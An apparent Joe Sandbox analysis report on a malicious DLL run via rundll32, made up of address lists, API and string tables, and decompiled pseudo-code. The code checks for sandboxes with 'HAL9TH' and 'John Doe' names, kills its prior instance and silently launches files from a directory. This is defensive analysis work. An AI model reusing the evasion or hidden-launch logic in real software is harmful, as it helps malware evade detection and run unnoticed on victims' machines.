0x04a09e33
0x04a09e43
0x04a09e49
0x04a09e52
0x04a09e5d
0x04a09e62
0x04a09e79
0x04a09e7c
0x04a09e8a
0x04a09e8d
0x04a09e9a
0x04a09e9d
0x04a09e9d
0x04a09e62
0x04a09eb9
0x04a09ec1
0x04a09ec7
0x04a09ed0
0x04a09ed3
0x04a09eed
0x04a09ef7
0x04a09ef7
0x04a09efd
0x04a09f0b
0x04a09f11
0x04a09f28
0x04a09f31
0x04a09f35
0x04a09f3a
0x04a09f3a
0x04a09f28
0x04a09f44
0x04a09f4c
0x04a09f52
0x04a09f69
0x04a09f72
0x04a09f79
0x04a09f7e
0x04a09f7e
0x04a09f69
0x04a09f85
0x04a09f8e
0x04a09f95
0x04a09f9f
0x04a09fa8
0x04a09faf
0x04a09fbb
0x04a09fbd
0x04a09fc3
0x04a09fc8
0x04a0a068
0x04a0a068
0x04a0a06e
0x04a0a070
0x04a0a072
0x04a0a074
0x04a0a076
0x04a0a078
0x04a0a087
0x04a0a089
0x04a0a089
0x04a0a094
0x04a0a0a1
0x04a0a0b0
0x04a0a0b8
0x04a0a0cd
0x04a0a0cd
0x00000000
0x04a0a0ba
0x04a0a0ba
0x04a0a0c0
0x00000000
0x04a0a0c9
0x04a0a0c9
0x04a0a0cf
0x04a0a0cf
0x04a0a0e1
0x04a0a0e6
0x04a0a0f9
0x04a0a105
0x04a0a107
0x04a0a111
0x04a0a118
0x04a0a11c
0x04a0a121
0x04a0a12d
0x04a0a14a
0x04a0a156
0x04a0a165
0x04a0a171
0x04a0a178
0x04a0a17b
0x04a0a17d
0x04a0a17d
0x04a0a184
0x04a0a186
0x04a0a195
0x04a0a199
0x04a0a1a3
0x04a0a1b0
0x04a0a1be
0x04a0a1c5
0x04a0a1c7
0x04a0a1ce
0x04a0a1d2
0x04a0a1d7
0x04a0a1d9
0x04a0a1dd
0x04a0a1f0
0x04a0a1f9
0x00000000
0x00000000
0x00000000
0x04a0a1e3
0x04a0a1e5
0x04a0a1e7
0x04a0a1e7
0x04a0a1fb
0x04a0a201
0x04a0a207
0x04a0a20b
0x04a0a26c
0x04a0a26c
0x04a0a26c
0x04a0a213
0x04a0a218
0x04a0a21c
0x04a0a22b
0x04a0a22f
0x04a0a236
0x04a0a236
0x04a0a22f
0x04a0a244
0x04a0a248
0x00000000
0x04a0a24a
0x04a0a250
0x04a0a254
0x00000000
0x00000000
0x04a0a256
0x04a0a25b
0x00000000
0x04a0a25b
0x04a0a248
0x04a0a1dd
0x04a0a0c0
0x04a09fce
0x04a09fd5
0x04a09fe0
0x04a09fe2
0x04a09fea
0x04a0a061
0x04a0a062
0x00000000
0x04a0a062
0x04a09ff2
0x04a0a008
0x00000000
0x00000000
0x00000000
0x04a0a00a
0x04a0a00c
0x04a0a015
0x00000000
0x00000000
0x04a0a01e
0x04a0a028
0x00000000
0x00000000
0x04a0a02a
0x04a0a030
0x04a0a046
0x00000000
0x00000000
0x00000000
0x04a0a048
0x04a0a054
0x04a0a05b
0x00000000
0x04a0a05b
0x04a09fc8
0x04a09db7
0x04a09dbb
0x04a09dd4
0x04a09dd8
0x00000000
0x00000000
0x04a09dea
0x04a09dee
0x04a09e05
0x04a09e05
0x04a09e08
0x04a09e08
0x00000000
0x04a09dbb
0x04a09ceb
0x04a09d25
0x04a09d30
0x00000000
0x04a09d30
0x04a09cf2
0x04a09cf6
0x04a09d10
0x04a09d19
0x00000000
0x00000000
0x00000000
0x04a09d00
0x04a09d00
0x04a09d0b
0x04a09d0e
0x00000000
0x00000000
0x00000000
0x04a09d0e
0x04a09d1b
0x04a09d1d
0x00000000
0x04a09d1d
0x04a09cf6
0x04a09c9d
0x04a09ca1
0x04a09cb3
0x04a09cbc
0x00000000
0x00000000
0x04a09cbe
0x04a09cc0
0x00000000
0x04a09cc0
0x04a09ca3
0x04a09cae
0x04a09cb1
0x00000000
0x00000000
0x00000000
0x04a09cb1
0x00000000

APIs

GetModuleFileNameW.KERNEL32(04A00000,04A16DDE,00000104,04A19BF1,?,76B2F210), ref: 04A09C76
lstrcpyW.KERNEL32 ref: 04A09C82
lstrlenW.KERNEL32(C:\ProgramData\,?,76B2F210), ref: 04A09C9D
ExpandEnvironmentStringsW.KERNEL32(C:\Users\user\AppData\LocalLow\,00000104,?,76B2F210), ref: 04A09CD8
lstrlenW.KERNEL32(C:\Users\user\AppData\LocalLow\,?,76B2F210), ref: 04A09CF2
lstrcatW.KERNEL32(C:\Users\user\AppData\LocalLow\), ref: 04A09D30
GetEnvironmentVariableW.KERNEL32(C:\Windows\system32\cmd.exe,00000104,?,76B2F210), ref: 04A09D46
GetModuleHandleA.KERNEL32(?,76B2F210), ref: 04A09D58
GetCurrentProcess.KERNEL32(?,?,76B2F210), ref: 04A09D7B
GetCurrentProcess.KERNEL32(00000008,?), ref: 04A09D95
OpenProcessToken.ADVAPI32(00000000), ref: 04A09D98
GetTokenInformation.KERNELBASE(?,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 04A09DB7
GetLastError.KERNEL32 ref: 04A09DBD
LocalAlloc.KERNEL32(00000000,?), ref: 04A09DCE
GetTokenInformation.KERNELBASE(?,00000019(TokenIntegrityLevel),00000000,?,?), ref: 04A09DEA
GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 04A09DF2
GetSidSubAuthority.ADVAPI32(00000000,?), ref: 04A09DFF
LocalFree.KERNEL32(00000000), ref: 04A09E08
GetCurrentProcessId.KERNEL32 ref: 04A09E17
ProcessIdToSessionId.KERNEL32(00000000,04A16C85), ref: 04A09E21
GetTickCount.KERNEL32 ref: 04A09E27
GetModuleHandleA.KERNEL32 ref: 04A09E3C
RegOpenKeyExW.KERNEL32(80000002,00000000,00020119,?), ref: 04A09EB9
RegQueryValueExW.KERNEL32(?,00000000,?,04A16C9E,?), ref: 04A09EED
RegCloseKey.ADVAPI32(?), ref: 04A09EF7
GetProcessWindowStation.USER32 ref: 04A09EFD
GetUserObjectInformationW.USER32(00000000,00000002,?,00000028,?), ref: 04A09F24
GetCurrentThreadId.KERNEL32 ref: 04A09F3D
GetThreadDesktop.USER32(00000000), ref: 04A09F44
GetUserObjectInformationW.USER32(00000000,00000002,?,00000028,?), ref: 04A09F65
GetUserNameW.ADVAPI32(04A16D8E,?), ref: 04A09F95
GetComputerNameW.KERNEL32(04A16D66,00000014), ref: 04A09FAF
GetCurrentProcessId.KERNEL32 ref: 04A09FB5
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 04A09FBD
Process32FirstW.KERNEL32(00000000,?), ref: 04A09FE2
Process32NextW.KERNEL32(00000000,0000022C), ref: 04A0A004
Process32FirstW.KERNEL32(00000000,0000022C), ref: 04A0A020
Process32NextW.KERNEL32(00000000,0000022C), ref: 04A0A042
lstrcpynW.KERNEL32(04A16DB6,?,00000014), ref: 04A0A05B
CloseHandle.KERNEL32(00000000), ref: 04A0A062
WTSGetActiveConsoleSessionId.KERNEL32 ref: 04A0A068
lstrcpyA.KERNEL32(?,?,?,?,?,?,76B2F210), ref: 04A0A0F9
CreateDCA.GDI32(?,00000000,00000000,00000000), ref: 04A0A116
GetDeviceCaps.GDI32(00000000,00000008), ref: 04A0A124
GetDeviceCaps.GDI32(00000000,0000000A), ref: 04A0A135
GetDesktopWindow.USER32 ref: 04A0A1C5
MonitorFromWindow.USER32(00000000), ref: 04A0A1CE
GetDesktopWindow.USER32 ref: 04A0A1D4
MonitorFromWindow.USER32(00000000), ref: 04A0A1D7
LoadLibraryA.KERNEL32 ref: 04A0A201

Strings

C:\ProgramData\, xrefs: 04A09C7D, 04A09C88, 04A09C98
C:\Users\user\AppData\LocalLow\, xrefs: 04A09CCD, 04A09CE3, 04A09CED, 04A09D2B
C:\Windows\system32\cmd.exe, xrefs: 04A09D3B
(, xrefs: 04A09F52
(, xrefs: 04A09ED3

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: Process$CurrentWindow$InformationProcess32$DesktopHandleModuleNameTokenUser$AuthorityCapsCloseCountCreateDeviceEnvironmentFirstFromLocalMonitorNextObjectOpenSessionThreadlstrcpylstrlen$ActiveAllocComputerConsoleErrorExpandFileFreeLastLibraryLoadQuerySnapshotStationStringsTickToolhelp32ValueVariablelstrcatlstrcpyn
String ID: ($($C:\ProgramData\$C:\Users\user\AppData\LocalLow\$C:\Windows\system32\cmd.exe
API String ID: 4139694316-3397774073
Opcode ID: 14491786c6b8f785b2184cefb82d8dd7794249610de1958b14f124a1af982ba8
Instruction ID: 669779dd88ffdbd465dfa89ee26fd17c364de29d65a60fdc379b6e6cfce1280e
Opcode Fuzzy Hash: 14491786c6b8f785b2184cefb82d8dd7794249610de1958b14f124a1af982ba8
Instruction Fuzzy Hash: 8D02B075504304AFE7209F60EC48BAB7BE8FF68700F048529FA45D61D1E7B9E946CB62

Uniqueness

Uniqueness Score: -1.00%

Function 04A03660 Relevance: 70.3, APIs: 32, Strings: 8, Instructions: 285
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E04A03660(void* __eflags) {
				char _v100;
				char _v116;
				char _v124;
				char _v128;
				intOrPtr _v132;
				char _v136;
				int _v140;
				long _v144;
				int _v148;
				int _v152;
				void* _v156;
				intOrPtr _v160;
				int _v164;
				int _v168;
				void* _v172;
				void* _t55;
				void* _t63;
				long _t70;
				intOrPtr _t71;
				struct HINSTANCE__* _t72;
				signed int _t79;
				void* _t84;
				long _t87;
				int _t88;
				long* _t100;
				long _t101;
				_Unknown_base(*)()* _t107;
				short _t119;
				int _t126;
				void* _t133;
				intOrPtr _t137;
				long* _t138;
				short* _t139;
				intOrPtr* _t141;
				char* _t144;
				char* _t146;
				void* _t148;
				void* _t150;

				_t55 = E04A041E0();
				if(_t55 == 0) {
					return _t55;
				}
				_v144 = 0x64;
				if(GetComputerNameA( &_v100,  &_v144) == 0) {
					L5:
					 *((intOrPtr*)(0))();
					L6:
					_v148 = 0;
					_v140 = 1;
					_t63 =  *0x4a16580(0, 0, 1,  &_v148,  &_v140); // executed
					if(_t63 == 0 || _v160 == 0) {
						L41:
						return _t63;
					} else {
						 *0x4a16370 =  *( *(_v168 + 4)) ^  *_v168; // executed
						SetErrorMode(0x8007); // executed
						SetUnhandledExceptionFilter(E04A03650); // executed
						_t63 = E04A09AC0();
						if(_t63 == 0) {
							goto L41;
						}
						_t63 = E04A04430();
						if(_t63 == 0) {
							goto L41;
						}
						_t144 =  *0x4a16b50; // 0x4a19bf1
						_v164 = 0x32;
						_t70 = RegOpenKeyExA(0x80000002,  *0x4a16b4c, 0, 0x101,  &_v172); // executed
						if(_t70 != 0) {
							L17:
							_t71 = 0;
							L18:
							 *0x4a163d8 = _t71;
							_t72 = LoadLibraryA( *0x4a16a78);
							if(_t72 > 0x20) {
								_t107 = GetProcAddress(_t72,  *0x4a16a90);
								if(_t107 != 0) {
									 *_t107();
								}
							}
							E04A09C20(0x4a16c80);
							wsprintfA( &_v144,  *0x4a16a1c,  *0x4a163d8, 0);
							if(GetEnvironmentVariableA( &_v136,  &_v164, 4) == 0) {
								_t79 = 0;
							} else {
								SetEnvironmentVariableA( &_v136, "0");
								_t79 = 1;
							}
							 *0x4a163f4 = _t79;
							wsprintfA( &_v136,  *0x4a16a1c,  *0x4a163d8, _t79 ^ 0x00000001);
							_t84 = OpenFileMappingA(6, 1,  &_v128); // executed
							 *0x4a1775c = _t84;
							if(_t84 == 0) {
								_t84 = CreateFileMappingA(0xffffffff, 0, 4, 0, 4,  &_v128); // executed
								 *0x4a1775c = _t84;
								if(_t84 == 0) {
									goto L36;
								}
								_t133 = 0xb;
								goto L28;
							} else {
								_t133 = 0xe;
								L28:
								_t100 = MapViewOfFile(_t84, 6, 0, 0, 0); // executed
								 *0x4a17760 = _t100;
								if(_t100 != 0) {
									if(_t133 == 0xe) {
										_t148 = OpenProcess(1, 0,  *_t100);
										if(_t148 != 0) {
											if(TerminateProcess(_t148, 0) != 0) {
												Sleep(0x1388);
											}
											CloseHandle(_t148);
										}
									}
									_t101 = GetCurrentProcessId();
									_t138 =  *0x4a17760; // 0x4a30000
									 *_t138 = _t101;
								}
								L36:
								_t146 =  *0x4a16bb4; // 0x4a19dec
								_v148 = 6;
								_t87 = RegOpenKeyExA(0x80000001,  *0x4a16bac, 0, 1,  &_v156); // executed
								if(_t87 != 0) {
									L38:
									_t88 =  *0x4a17714( *0x4a16bd8);
									_t137 =  *0x4a16bdc; // 0x4a19e67
									_v140 = _t88;
									_v136 = E04A01240(_t137);
									L39:
									E04A07720();
									E04A07750(0x4a16ff6); // executed
									_t63 = CreateThread(0, 0, E04A06B50,  &_v144, 0,  &_v164); // executed
									if(_t63 == 0) {
										goto L41;
									}
									 *0x4a163e0 = _t63;
									_t63 = WaitForSingleObject(_t63, 0xffffffff);
									ExitThread(0);
								}
								_v152 = 3;
								RegQueryValueExA(_v156, _t146, 0,  &_v152,  &_v136,  &_v148); // executed
								asm("sbb esi, esi");
								RegCloseKey(_v156);
								if( &(_t146[1]) != 0) {
									goto L39;
								}
								goto L38;
							}
						}
						_v168 = 1;
						RegQueryValueExA(_v172, _t144, 0,  &_v168,  &_v124,  &_v164); // executed
						asm("sbb esi, esi");
						RegCloseKey(_v172);
						if( &(_t144[1]) == 0 || _v164 <= 0xa) {
							goto L17;
						} else {
							_v116 = 0;
							CharLowerA( &_v124);
							lstrcpyA("d06ed635",  &_v124);
							_t150 = 8;
							_t141 =  &_v124;
							_t139 = L"d06ed635";
							while(1) {
								_t119 =  *_t141;
								if(_t119 == 0) {
									break;
								}
								asm("cbw");
								_t141 = _t141 + 1;
								 *_t139 = _t119;
								_t139 = _t139 + 2;
								_t150 = _t150 - 1;
								if(_t150 != 0) {
									continue;
								}
								break;
							}
							 *_t139 = 0;
							_t71 = E04A013E0( &_v124);
							goto L18;
						}
					}
				}
				_v136 = 0x394c4148;
				_v132 = 0x4854;
				if(lstrcmpiA( &_v100,  &_v136) == 0) {
					goto L5;
				}
				_v144 = 0x64;
				_t126 = GetUserNameA( &_v100,  &_v144); // executed
				if(_t126 == 0) {
					goto L5;
				}
				_v136 = 0x6e686f4a;
				_v132 = 0x656f44;
				if(lstrcmpiA( &_v100,  &_v136) != 0) {
					goto L6;
				}
				goto L5;
			}

0x04a03666
0x04a0366d
0x04a03a3f
0x04a03a3f
0x04a03678
0x04a0368e
0x04a036f2
0x04a036f4
0x04a036f6
0x04a036fa
0x04a03707
0x04a03716
0x04a0371e
0x04a03a38
0x00000000
0x04a0372f
0x04a0373f
0x04a03744
0x04a0374f
0x04a03755
0x04a0375c
0x00000000
0x00000000
0x04a03762
0x04a03769
0x00000000
0x00000000
0x04a0376f
0x04a03788
0x04a03795
0x04a037a3
0x04a03835
0x04a03835
0x04a03837
0x04a0383d
0x04a03842
0x04a0384b
0x04a03854
0x04a0385c
0x04a0385e
0x04a0385e
0x04a0385c
0x04a03865
0x04a03883
0x04a0389c
0x04a038b5
0x04a0389e
0x04a038a8
0x04a038ae
0x04a038ae
0x04a038b7
0x04a038d1
0x04a038df
0x04a038e5
0x04a038ec
0x04a03901
0x04a03907
0x04a0390e
0x00000000
0x00000000
0x04a03910
0x00000000
0x04a038ee
0x04a038ee
0x04a03912
0x04a0391b
0x04a03921
0x04a03928
0x04a0392d
0x04a0393b
0x04a0393f
0x04a0394c
0x04a03953
0x04a03953
0x04a0395a
0x04a0395a
0x04a0393f
0x04a03960
0x04a03966
0x04a0396c
0x04a0396c
0x04a03974
0x04a03974
0x04a03989
0x04a03996
0x04a0399e
0x04a039d3
0x04a039d9
0x04a039df
0x04a039e5
0x04a039ee
0x04a039f3
0x04a039f3
0x04a039fd
0x04a03a17
0x04a03a20
0x00000000
0x00000000
0x04a03a25
0x04a03a2a
0x04a03a32
0x04a03a32
0x04a039a4
0x04a039be
0x04a039c6
0x04a039c8
0x04a039d1
0x00000000
0x00000000
0x00000000
0x04a039d1
0x04a038ec
0x04a037ad
0x04a037c7
0x04a037cf
0x04a037d1
0x04a037da
0x00000000
0x04a037e3
0x04a037e7
0x04a037ed
0x04a037fd
0x04a03803
0x04a03808
0x04a0380c
0x04a03811
0x04a03811
0x04a03815
0x00000000
0x00000000
0x04a03817
0x04a03819
0x04a0381a
0x04a0381d
0x04a03820
0x04a03823
0x00000000
0x00000000
0x00000000
0x04a03823
0x04a03827
0x04a0382e
0x00000000
0x04a0382e
0x04a037da
0x04a0371e
0x04a0369f
0x04a036a8
0x04a036b4
0x00000000
0x00000000
0x04a036ba
0x04a036c8
0x04a036d0
0x00000000
0x00000000
0x04a036d6
0x04a036e3
0x04a036f0
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 04A041E0: LoadLibraryA.KERNEL32(?), ref: 04A04225
Part of subcall function 04A041E0: GetProcAddress.KERNEL32 ref: 04A04275
Part of subcall function 04A041E0: GetProcAddress.KERNEL32(00000000,?), ref: 04A042BA
Part of subcall function 04A041E0: GetProcAddress.KERNEL32(00000000,45535457), ref: 04A042F7
Part of subcall function 04A041E0: LoadLibraryA.KERNEL32(51535457,?,?,00000000,?), ref: 04A04340
Part of subcall function 04A041E0: GetProcAddress.KERNEL32(00000000,E759CD85), ref: 04A04378
Part of subcall function 04A041E0: LoadLibraryA.KERNEL32(43746547,?,?,00000000,?), ref: 04A043C1

GetComputerNameA.KERNEL32(?,?), ref: 04A03686
lstrcmpiA.KERNEL32(?,?,?,?), ref: 04A036B0
GetUserNameA.ADVAPI32(?,00000064), ref: 04A036C8
lstrcmpiA.KERNEL32(?,?,?,?,?), ref: 04A036EC
SetErrorMode.KERNEL32(00008007), ref: 04A03744
SetUnhandledExceptionFilter.KERNEL32(04A03650), ref: 04A0374F
RegOpenKeyExA.KERNEL32(80000002,?,?,00000000,00000101,00000000), ref: 04A03795
RegQueryValueExA.KERNEL32(?,04A19BF1,00000000,?,?,?,?,?,00000000,00000101,00000000), ref: 04A037C7
RegCloseKey.ADVAPI32(00000064,?,?,00000000,00000101,00000000), ref: 04A037D1
CharLowerA.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000101,00000000), ref: 04A037ED
lstrcpyA.KERNEL32(d06ed635,?,?,?,?,?,?,?,?,?,?,?,00000000,00000101,00000000), ref: 04A037FD
LoadLibraryA.KERNEL32(?,?,00000000,00000101,00000000), ref: 04A03842
GetProcAddress.KERNEL32(00000000), ref: 04A03854
wsprintfA.USER32 ref: 04A03883
GetEnvironmentVariableA.KERNEL32(?,?,00000004), ref: 04A03894
SetEnvironmentVariableA.KERNEL32(?,04A0F410), ref: 04A038A8
wsprintfA.USER32 ref: 04A038D1
OpenFileMappingA.KERNEL32(00000006,00000001,?), ref: 04A038DF
CreateFileMappingA.KERNEL32 ref: 04A03901
MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000), ref: 04A0391B
OpenProcess.KERNEL32(00000001,00000000,00000000), ref: 04A03935
TerminateProcess.KERNEL32(00000000,00000000), ref: 04A03944
Sleep.KERNEL32(00001388), ref: 04A03953
CloseHandle.KERNEL32(00000000), ref: 04A0395A
GetCurrentProcessId.KERNEL32 ref: 04A03960
RegOpenKeyExA.KERNEL32(80000001), ref: 04A03996
RegQueryValueExA.KERNEL32(?,04A19DEC,00000000,?,00000006,?), ref: 04A039BE
RegCloseKey.ADVAPI32(00000001), ref: 04A039C8
inet_addr.WS2_32 ref: 04A039D9
CreateThread.KERNEL32 ref: 04A03A17
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 04A03A2A
ExitThread.KERNEL32 ref: 04A03A32

Strings

HAL9, xrefs: 04A0369F
TH, xrefs: 04A036A8
d06ed635, xrefs: 04A037F8
John, xrefs: 04A036D6
2, xrefs: 04A03788
d, xrefs: 04A036BA
d06ed635, xrefs: 04A0380C
Doe, xrefs: 04A036E3

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: AddressProc$LibraryLoadOpen$CloseFileProcess$CreateEnvironmentMappingNameQueryThreadValueVariablelstrcmpiwsprintf$CharComputerCurrentErrorExceptionExitFilterHandleLowerModeObjectSingleSleepTerminateUnhandledUserViewWaitinet_addrlstrcpy
String ID: 2$Doe$HAL9$John$TH$d$d06ed635$d06ed635
API String ID: 3750427933-2084125493
Opcode ID: bdc2526151bb5db202a2c3e669db88944c7d92b98e2814d104a322c031daf628
Instruction ID: d391d47a37e4fe163d089b0de1796015de706141833ce17ab214ab4ad6834677
Opcode Fuzzy Hash: bdc2526151bb5db202a2c3e669db88944c7d92b98e2814d104a322c031daf628
Instruction Fuzzy Hash: F5B18F75504341AFEB20CF60EC44F9A7BE8FB58744F008919FA45E62D0E779E94ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 04A07750 Relevance: 40.4, APIs: 21, Strings: 2, Instructions: 190
stringfileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E04A07750(CHAR* _a4) {
				short _v1028;
				short _v1548;
				struct _WIN32_FIND_DATAW _v2140;
				short _v2660;
				struct _STARTUPINFOW _v2732;
				char _v2752;
				struct _PROCESS_INFORMATION _v2768;
				void* _v2772;
				WCHAR* _v2776;
				WCHAR* _v2780;
				int _t57;
				signed char _t69;
				WCHAR* _t70;
				int _t75;
				void* _t96;
				void* _t97;
				int _t100;
				signed int _t103;
				WCHAR* _t111;
				signed int* _t113;
				signed int _t115;
				signed int _t116;
				CHAR* _t119;
				signed int _t122;
				void* _t124;
				signed int _t126;
				void* _t128;

				_t128 = (_t126 & 0xfffffff8) - 0xadc;
				_v2780 = 0;
				_t57 = ExpandEnvironmentStringsW( *0x4a16744,  &_v2660, 0x104);
				if(_t57 != 0) {
					_t122 = lstrlenW( &_v2660);
					lstrcatW( &_v2660,  *0x4a16814);
					_t57 = FindFirstFileW( &_v2660,  &_v2140); // executed
					_v2772 = _t57;
					if(_t57 != 0xffffffff) {
						_t119 = _a4;
						_t111 =  &(( &_v2660)[_t122]);
						_v2776 = _t111;
						do {
							 *_t111 = 0;
							lstrcatW( &_v2660,  &(_v2140.cFileName));
							_t69 = GetFileAttributesW( &_v2660);
							if(_t69 == 0xffffffff || (_t69 & 0x00000010) != 0) {
								_t70 = 0;
							} else {
								_t70 = 1;
							}
							if(_t70 != 0) {
								lstrcpyW( &_v1548,  *0x4a16924);
								lstrcatW( &_v1548,  &_v2660);
								lstrcatW( &_v1548,  *0x4a16928);
								lstrcatW( &_v1548,  *0x4a16818);
								_v1028 = 0;
								lstrcpyW( &_v1028,  &_v1548);
								E04A010D0( &_v2732, 0, 0x44);
								_t128 = _t128 + 0xc;
								_v2732.cb = 0x44;
								_v2732.dwFlags = 1;
								_v2732.wShowWindow = 0;
								if(CreateProcessW(0,  &_v1028, 0, 0, 0, 0, 0, 0,  &_v2732,  &_v2768) != 0) {
									_t96 = _v2768.hThread;
									if(_t96 != 0) {
										CloseHandle(_t96);
									}
									_t97 = _v2768.hProcess;
									if(_t97 != 0) {
										CloseHandle(_t97);
									}
									if(_t119 != 0) {
										if(_v2780 != 0) {
											lstrcatA(_t119, ", ");
										} else {
											lstrcatA(_t119,  *0x4a16bd0);
											_v2780 = 1;
										}
										_t100 = lstrlenW( &(_v2140.cFileName));
										if(_t100 != 0) {
											_t103 = _t100 - 1;
											if(_t103 > 0) {
												asm("o16 nop [eax+eax]");
												while(1) {
													_t115 =  *(_t128 + 0x2bc + _t103 * 2) & 0x0000ffff;
													if(_t115 == 0 || _t115 == 0x2e) {
														goto L23;
													}
													_t103 = _t103 - 1;
													if(_t103 > 0) {
														continue;
													}
													goto L23;
												}
											}
											L23:
											if( *(_t128 + 0x2bc + _t103 * 2) == 0x2e) {
												 *(_t128 + 0x2bc + _t103 * 2) = 0;
											}
											_t100 =  &(_v2140.cFileName);
										}
										_t124 = 0x14;
										_t113 =  &_v2752;
										while(1) {
											_t116 =  *_t100 & 0x0000ffff;
											if(_t116 == 0) {
												break;
											}
											 *_t113 = _t116;
											_t100 = _t100 + 2;
											_t113 =  &(_t113[0]);
											_t124 = _t124 - 1;
											if(_t124 != 0) {
												continue;
											}
											break;
										}
										 *_t113 = 0;
										lstrcatA(_t119,  &_v2752);
									}
								}
							}
							 *_v2776 = 0;
							lstrcatW( &_v2660,  *0x4a16814);
							_t75 = FindNextFileW(_v2772,  &_v2140);
							_t111 = _v2776;
						} while (_t75 != 0);
						_t57 = FindClose(_v2772);
					}
				}
				return _t57;
			}

0x04a07756
0x04a0776b
0x04a0777a
0x04a07782
0x04a0779c
0x04a077a6
0x04a077bc
0x04a077c2
0x04a077c9
0x04a077cf
0x04a077df
0x04a077e8
0x04a077f0
0x04a077f2
0x04a07805
0x04a0780f
0x04a07818
0x04a07825
0x04a0781e
0x04a0781e
0x04a0781e
0x04a07829
0x04a0783d
0x04a07853
0x04a07863
0x04a07873
0x04a07877
0x04a0788f
0x04a0789e
0x04a078a3
0x04a078a6
0x04a078b0
0x04a078b8
0x04a078e5
0x04a078eb
0x04a078f1
0x04a078f4
0x04a078f4
0x04a078fa
0x04a07900
0x04a07903
0x04a07903
0x04a0790b
0x04a07916
0x04a07931
0x04a07918
0x04a0791f
0x04a07921
0x04a07921
0x04a0793b
0x04a07943
0x04a07945
0x04a07948
0x04a0794a
0x04a07950
0x04a07950
0x04a0795b
0x00000000
0x00000000
0x04a07962
0x04a07965
0x00000000
0x00000000
0x00000000
0x04a07965
0x04a07950
0x04a07967
0x04a07970
0x04a07974
0x04a07974
0x04a0797c
0x04a0797c
0x04a07983
0x04a07988
0x04a07990
0x04a07990
0x04a07996
0x00000000
0x00000000
0x04a07998
0x04a0799a
0x04a0799d
0x04a0799e
0x04a079a1
0x00000000
0x00000000
0x00000000
0x04a079a1
0x04a079a7
0x04a079ac
0x04a079ae
0x04a0790b
0x04a078e5
0x04a079c0
0x04a079cb
0x04a079d9
0x04a079df
0x04a079e3
0x04a079ef
0x04a079ef
0x04a077c9
0x04a079fb

APIs

ExpandEnvironmentStringsW.KERNEL32(?), ref: 04A0777A
lstrlenW.KERNEL32(?), ref: 04A07790
lstrcatW.KERNEL32(?), ref: 04A077A6
FindFirstFileW.KERNEL32(?,?), ref: 04A077BC
lstrcatW.KERNEL32(?,?), ref: 04A07805
GetFileAttributesW.KERNEL32(?), ref: 04A0780F
lstrcpyW.KERNEL32 ref: 04A0783D
lstrcatW.KERNEL32(?,?), ref: 04A07853
lstrcatW.KERNEL32(?), ref: 04A07863
lstrcatW.KERNEL32(?), ref: 04A07873
lstrcpyW.KERNEL32 ref: 04A0788F
CreateProcessW.KERNEL32 ref: 04A078DD
CloseHandle.KERNEL32(?), ref: 04A078F4
CloseHandle.KERNEL32(?), ref: 04A07903
lstrcatA.KERNEL32(00000001), ref: 04A0791F
lstrcatA.KERNEL32(00000001,04A0F408), ref: 04A07931
lstrlenW.KERNEL32(?), ref: 04A0793B
lstrcatA.KERNEL32(00000001,?), ref: 04A079AC
lstrcatW.KERNEL32(?), ref: 04A079CB
FindNextFileW.KERNEL32(?,?), ref: 04A079D9
FindClose.KERNEL32(?), ref: 04A079EF

Strings

., xrefs: 04A07967
D, xrefs: 04A078A6

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: lstrcat$CloseFileFind$Handlelstrcpylstrlen$AttributesCreateEnvironmentExpandFirstNextProcessStrings
String ID: .$D
API String ID: 3891015426-1305204439
Opcode ID: 3297bdd6ab5123770518df948722bdbc9486a91beb94bd42acf3bc3476eb5e4e
Instruction ID: 5de68c7567ed45bce65b9cbe67f12e52e5f56cd12d5a712a2102caa8d5a34e81
Opcode Fuzzy Hash: 3297bdd6ab5123770518df948722bdbc9486a91beb94bd42acf3bc3476eb5e4e
Instruction Fuzzy Hash: 16615A755043459FDB21DF64E848BAAB7ECFF94350F00892AF688D3190EB74E54ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 10001A90 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 137
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

